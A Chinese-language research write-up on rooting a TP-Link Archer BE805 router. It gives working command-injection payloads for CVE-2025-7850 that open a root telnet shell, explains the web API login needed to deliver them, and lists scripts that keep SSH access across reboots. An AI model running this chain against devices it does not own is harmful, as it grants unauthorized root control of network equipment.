利用內建 VPN 憑證注入漏洞(CVE-2025-7850)取得 root shell,在不修改韌體的前提下,透過 UCI 防火牆 include 機制實現跨重啟的 SSH 持久化。本文記錄完整的探索過程與踩坑經驗。
一、目標設備
TP-Link Archer BE805 是一部 Wi-Fi 7(BE11000)三頻路由器,採用 MediaTek MT7988AV(Filogic 880)處理器。系統基於 OpenWrt 深度改造而成,但 TP-Link 進行了大量客製化,包括加密的 Web API、自訂的 dropbear SSH 以及獨有的配置持久化機制。
| 項目 | 規格 |
|---|---|
| SoC | MediaTek MT7988AV (Filogic 880), aarch64 |
| 核心 | Linux 5.4.213 |
| C 庫 | musl libc |
| BusyBox | v1.19.4 |
| 根檔案系統 | squashfs(唯讀)+ ramfs 覆蓋層 |
| 持久儲存 | UBIFS /tp_data(約 3.5MB 可用) |
| 韌體版本 | 1.2.2 Build 20250424 rel.45837 |
二、韌體偵察
使用 binwalk 解壓韌體,取得 squashfs 根目錄。以下是幾項關鍵發現。
掛載結構
這部路由器的檔案系統設計是理解整個攻擊面的關鍵:
# 唯讀:任何修改都不會生效
/dev/root on / type squashfs (ro,noatime)
# 可寫但揮發:重啟即失
none on /etc type ramfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
# 持久可寫:重啟後仍在
ubi1:tp_data on /tp_data type ubifs (rw,relatime,sync)
換言之,/etc 中的所有內容——包括 rc.local、init 腳本、crontab——每次開機都會從 squashfs 重新生成。唯一能夠長期保留自訂檔案的位置是 /tp_data。
TP-Link 客製化 dropbear
設備自帶的 SSH 伺服器是 dropbear 2019.78 的深度改造版本,與標準版本存在兩個關鍵差異:
-C旗標:啟用「Web Server account login」模式,使用 Web 密碼 hash 驗證,而非標準的/etc/shadow機制-L旗標:啟用 SSH session login——但在 init 腳本中被註釋掉了
也就是說,即使 SSH daemon 正在運行,認證成功後也會收到 exec request failed on channel 0——因為缺少 -L 旗標,daemon 拒絕開啟 shell session。
配置持久化流程
開機時的配置還原流程如下:
開機 → squashfs 載入 → /etc ramfs 初始化 → /tp_data 掛載 → loadconfig 還原 UCI → init.d 啟動 → rc.local
loadconfig 是一個 Lua 腳本,調用 luci.sys.config.reloadconfig(),從加密的 user-config 二進制檔案讀取 UCI 配置寫入 /etc/config/。saveconfig 則進行反向操作。關鍵在於:它只處理 UCI 配置,不會涉及 rc.local、crontab 或任何 UCI 以外的檔案。
三、漏洞利用:Surfshark VPN 憑證注入
CVE-2025-7850 的核心是 Surfshark VPN 登入處理中的命令注入漏洞。路由器的 Lua 後端在處理 VPN 憑證登入時,將用戶提交的密碼直接拼接進 curl 命令:
-- 虛擬碼,實際為編譯過的 Lua bytecode
cmd = string.format(
"%s -w '\\n%%{http_code}' -m 5 --location "
"'https://api.surfshark.com/v1/auth/login' "
"--data '{\"identifier\":\"%s\",\"password\":\"%s\"}'",
curl_path, username, password -- password 未經過濾!
)
os.execute(cmd)
此處的 password 直接進入 shell 命令,未做任何 sanitization。攻擊者可以透過單引號截斷原有命令,注入任意指令。
注入載荷
路由器模式(完整載荷):
';/usr/sbin/telnetd -l /bin/sh -p 3922 -b 0.0.0.0; iptables -I INPUT -p tcp --dport 3922 -j ACCEPT; echo '
AP 模式(縮短載荷,繞過長度驗證):
';telnetd -l /bin/sh -p 3922;'
AP 模式注意事項:AP 模式下 VPN 端點存在密碼長度限制。完整載荷(約 97 字元)會觸發
invalid parameter錯誤,縮短至約 30 字元即可通過驗證。AP 模式下防火牆默認 INPUT 策略為 ACCEPT,因此無需添加iptables規則。
注入成功後,一個綁定在 port 3922 的 root telnet shell 即時開啟。
四、Web API 加密協議
要觸發上述漏洞,首先需要通過 TP-Link 的 Web API 加密機制。整個通訊流程涉及 AES-128-CBC 與 RSA 混合加密。
認證流程
# 1. 取得密碼加密用的 RSA 公鑰
POST /login?form=keys data=operation=read
→ {"data": {"password": [n_hex, e_hex]}}
# 2. 取得 session RSA 公鑰與序列號
POST /login?form=auth data=operation=read
→ {"data": {"key": [session_n, session_e], "seq": 12345}}
# 3. 登入請求
# 內文使用自行生成的 AES key/iv 加密
# 簽名格式:k=<aes_key>&i=<aes_iv>&h=<md5_hash>&s=<seq+data_len>
# 簽名使用 session RSA 加密
hash = MD5("admin" + password)
# 4. 後續請求
# 簽名簡化為:h=<md5_hash>&s=<seq+data_len>
# 其中 seq 始終使用最初的 pre-login seq
seq 計算陷阱:每次請求的
s值 = 原始 pre-login seq + 當前 AES 加密後數據的長度。這不是遞增序列號。許多嘗試失敗的原因就在於計算錯誤。此外,登入後絕不可重新抓取 auth 資料——否則會導致 session 失效。
五、建立標準 SSH 服務
取得 root telnet shell 後,下一步是建立正常的 SSH 服務。使用 TP-Link 自帶的 dropbear 行不通:
- 密碼驗證邏輯已被修改,不使用
/etc/shadow的crypt() -L旗標被註釋,無法開啟 shell session- 即使加上
-L,密碼驗證依然無法正常運作
解決方案:安裝標準 dropbear
從 OpenWrt 官方倉庫下載同平台(aarch64_cortex-a53)的標準 dropbear v2022.82:
# 下載 ipk 包(只能使用 HTTP,路由器不信任 SSL 證書)
$ curl -o /tmp/db.ipk http://downloads.openwrt.org/releases/23.05.5/\
targets/mediatek/filogic/packages/dropbear_2022.82-6_aarch64_cortex-a53.ipk
# 解壓並保存到持久儲存
$ cd /tmp && tar xzf db.ipk && tar xzf data.tar.gz
$ cp usr/sbin/dropbear /tp_data/dropbear_std
$ chmod +x /tp_data/dropbear_std
Multi-call binary 的陷阱
標準 dropbear 是一個 multi-call binary(dropbearmulti),與 BusyBox 類似,根據 argv[0](程式名稱)決定執行哪個功能。直接使用原始檔名運行只會顯示幫助信息:
$ /tp_data/dropbear_std -p 22 -R
Dropbear SSH multi-purpose v2022.82
Make a symlink pointing at this binary with one of the following names:
'dropbear' - the Dropbear server
需要建立一個名為 dropbear 的 symlink。值得注意的是,/tmp 掛載時帶有 nosuid,nodev 旗標,在某些情況下可能阻止執行。穩妥的做法是將 symlink 建立在 /tp_data/ 上:
$ ln -sf /tp_data/dropbear_std /tp_data/dropbear
$ /tp_data/dropbear -p 22 -R -B
# 成功啟動
設定 root 密碼
由於 /etc 是 ramfs,每次開機密碼都會重置。標準 dropbear 使用 musl 的 crypt() 函數驗證 /etc/shadow,因此需要使用 passwd 指令設定密碼:
$ sed -i 's|^root:.*|root:x:0:0:root:/root:/bin/ash|' /etc/passwd
$ echo -e 'mypassword\nmypassword' | passwd root
Password for root changed by root
六、持久化:防火牆 Include 機制
這是整個項目最棘手的部分。所有 SSH 相關的設定(密碼、dropbear 進程、防火牆規則)都位於揮發性的 ramfs 上,重啟即歸零。
失敗的嘗試
| 方法 | 結果 | 原因 |
|---|---|---|
| 修改 rc.local | 失敗 | /etc 是 ramfs,重啟後重建 |
| saveconfig 保存 rc.local | 失敗 | 只保存 UCI 配置,不處理其他檔案 |
| UCI cron 配置 | 失敗 | 不存在 UCI cron 配置 |
| 修改 squashfs | 未嘗試 | 風險過高,可能導致變磚 |
| OpenVPN script hook | 失敗 | 相關選項已被註釋 |
突破口:防火牆 Include
在遍歷所有 UCI 配置後,發現防火牆的 config include 機制是唯一可以透過 UCI 觸發任意腳本執行的途徑。
OpenWrt 的防火牆框架在啟動時,會遍歷所有 config include 條目,source 對應的腳本:
# /lib/firewall/core_init.sh
fw_load_include() {
local name="$1"
local path
config_get path ${name} path
[ -e $path ] && (
. $path # 直接 source 腳本
)
}
# /lib/firewall/core.sh 中調用:
config_foreach fw_load_include include
思路便十分清晰:
- 在
/tp_data/建立觸發腳本(持久儲存) - 透過 UCI 添加一個
config include條目指向該腳本 - 使用
saveconfig將 UCI 變更寫入 flash - 開機時防火牆 init 會自動 source 該腳本
實作細節
觸發腳本(/tp_data/fw_ssh.sh):
#!/bin/sh
# 使用 lock file 防止防火牆 reload 時重複觸發
[ -f /tmp/.ssh_setup_pending ] && return 0
touch /tmp/.ssh_setup_pending
(
sleep 10
[ -x /tp_data/ssh_setup.sh ] && /tp_data/ssh_setup.sh
rm -f /tmp/.ssh_setup_pending
) &
延遲 10 秒再執行,以確保 init 流程(特別是 dropbear)已經完成。防火牆的 START=45 先於 dropbear 的 START=50,若直接執行會與自帶 dropbear 產生衝突。
SSH 設定腳本(/tp_data/ssh_setup.sh):
#!/bin/sh
SSH_PORT=22
DBSTD=/tp_data/dropbear_std
DBLINK=/tp_data/dropbear
sleep 5
ln -sf $DBSTD $DBLINK # multi-call symlink
sed -i 's|^root:.*|root:x:0:0:root:/root:/bin/ash|' /etc/passwd
echo -e 'mypassword\nmypassword' | passwd root >/dev/null 2>&1
mkdir -p /tmp/root_home
mount --bind /tmp/root_home /root 2>/dev/null # /root 在 squashfs 上,需要覆蓋
mkdir -p /root/.ssh; chmod 700 /root/.ssh
[ -f /tp_data/authorized_keys ] && \
cp /tp_data/authorized_keys /root/.ssh/authorized_keys
mkdir -p /etc/dropbear
# 只終止 port 22 上的 dropbear,保留其他端口的實例
for pid in $(ps w | grep "[d]ropbear" | grep " -p $SSH_PORT " \
| awk '{print $1}'); do kill $pid 2>/dev/null; done
sleep 1
$DBLINK -p $SSH_PORT -R -B
iptables -C INPUT -p tcp --dport $SSH_PORT -j ACCEPT 2>/dev/null || \
iptables -I INPUT -p tcp --dport $SSH_PORT -j ACCEPT
添加 UCI 條目並保存:
$ uci set firewall.ssh_setup=include
$ uci set firewall.ssh_setup.path=/tp_data/fw_ssh.sh
$ uci set firewall.ssh_setup.reload=1
$ uci commit firewall
$ lua -e 'require("luci.sys.config").saveconfig()'
七、AP 模式的陷阱
原以為大功告成,重啟後卻發現 SSH 完全無法連接。經調查後發現一個關鍵事實:
TP-Link 雙配置機制:路由器模式與 AP 模式使用完全獨立的 UCI 配置集。
saveconfig只保存當前模式的配置。在路由器模式下添加的firewall.ssh_setup條目,切換到 AP 模式後完全不存在。
兩種模式的差異不止於此:
| 項目 | 路由器模式 | AP 模式 |
|---|---|---|
| IP 地址 | 192.168.0.1(固定) | 由上游 DHCP 分配 |
| 防火牆 INPUT | DROP(嚴格) | ACCEPT(放通) |
| dropbear 端口 | 22 | 20001 |
| VPN 功能 | 完整可用 | 密碼長度受限 |
| exploit 載荷 | 完整版(~97 字元) | 縮短版(~30 字元) |
| 用戶列表 | root, admin | root, admin, sftpadmin, guest, visit |
解決方案很直接:在兩種模式下都分別運行一次 UCI 添加與 saveconfig。由於防火牆 init 在 AP 模式下同樣會執行(從 iptables 規則可以確認),include 機制在兩種模式下都能正常觸發。
八、最終方案架構
持久化檔案全部存放在 /tp_data/(UBIFS flash,跨重啟保留):
/tp_data/
├── dropbear_std # 標準 dropbear v2022.82 (263KB)
├── dropbear # → dropbear_std 的 symlink
├── fw_ssh.sh # 防火牆 include 觸發腳本
├── ssh_setup.sh # SSH 完整設定腳本
└── authorized_keys # SSH 公鑰(可選)
UCI 配置(持久化於加密 user-config):
firewall.ssh_setup=include
firewall.ssh_setup.path=/tp_data/fw_ssh.sh
firewall.ssh_setup.reload=1
開機時序
squashfs 載入 → /etc ramfs 初始化 → /tp_data 掛載 → loadconfig 還原 UCI
→ 防火牆 init (START=45) → fw_ssh.sh fork 後台任務
→ dropbear init (START=50) → ~10 秒後 ssh_setup.sh 執行 → SSH 就緒
最終效果:重啟後約 15 秒,標準 SSH 自動運行在 port 22。支持 root 密碼登入與公鑰認證。路由器模式與 AP 模式均可使用。無需修改韌體 squashfs,無 brick 風險。
九、攻擊鏈時序
Phase 1: 初始存取
┌─────────────────────────────────────┐
│ Web API Login (AES+RSA) │
│ ↓ │
│ Surfshark VPN 憑證注入 (CVE-2025-7850) │
│ ↓ │
│ telnetd root shell (port 3922) │
└─────────────────────────────────────┘
Phase 2: 能力提升
┌─────────────────────────────────────┐
│ 下載標準 dropbear → /tp_data/ │
│ ↓ │
│ 設定 root 密碼 │
│ ↓ │
│ 啟動 SSH (port 22) │
└─────────────────────────────────────┘
Phase 3: 持久化
┌─────────────────────────────────────┐
│ 建立 fw_ssh.sh + ssh_setup.sh │
│ ↓ │
│ UCI firewall include 條目 │
│ ↓ │
│ saveconfig → 加密 user-config │
│ ↓ │
│ 在路由器模式與 AP 模式各保存一次 │
└─────────────────────────────────────┘
總結
本次研究的核心發現有三項:
- VPN 功能成為攻擊面——第三方 VPN 服務(Surfshark、NordVPN)的憑證處理代碼,因為將字串直接拼接進 shell 命令而產生注入漏洞。此類錯誤在嵌入式設備中依然常見。
- 「半 OpenWrt」比純 OpenWrt 更難對付——TP-Link 保留了 UCI 框架但大幅客製化了配置持久化、SSH 驗證與服務管理。熟悉 OpenWrt 不等於能夠直接應用既有經驗,每個機制都需要重新探索。
- 操作模式切換等於配置隔離——路由器模式與 AP 模式使用獨立的配置集,這一設計在持久化場景下是一個極易忽略的陷阱。
防火牆 include 機制之所以成為最終的持久化方案,是因為它同時滿足兩個條件:透過 UCI 管理(可以被 saveconfig 持久化)以及可以執行任意腳本。在這部路由器上,這是唯一同時滿足這兩個條件的機制。
本文僅供安全研究與教育用途。所有測試均在自有設備上進行。請遵守當地法律法規。



